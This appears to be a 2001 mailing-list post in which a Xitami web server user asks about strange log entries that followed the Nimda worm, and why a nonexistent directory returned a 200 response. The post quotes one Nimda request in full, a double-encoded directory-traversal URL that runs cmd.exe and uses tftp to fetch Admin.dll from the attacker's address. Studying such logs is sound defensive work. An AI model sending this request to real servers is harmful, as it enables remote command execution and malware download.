[Xitami] Hello World

[¡ Bienfeo !]

I'm sorry if this isn't how this list works. Do I just ask away? Here goes...

I was wondering if anyone can help me figure out some odd things I've seen 
in my logs after the nimda worm hit the scene.

I'm troubled by lines like this:

66.27.221.19 - - [25/Sep/2001:15:01:59 -0500] "GET 
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2066.27.221.19%20GET%20Admin.dll%20e:\Admin.dll 
HTTP/1.0" 200 2006 "" ""

Although I more or less understand stand what's happening I have a few 
questions. Like about the fact that I don't have a "/scripts/" directory 
and still I got a 200 response. (a few months ago I watched code red return 
404 over and over and over again) I can't even find a directory on the 
entire local disk where I keep Xitami named "scripts"  Anyway I've turned 
off my sever for now. I'm running Win2000pro. I have never installed IIS or 
FrontPage, but I use IE 5.

Take care,

Eric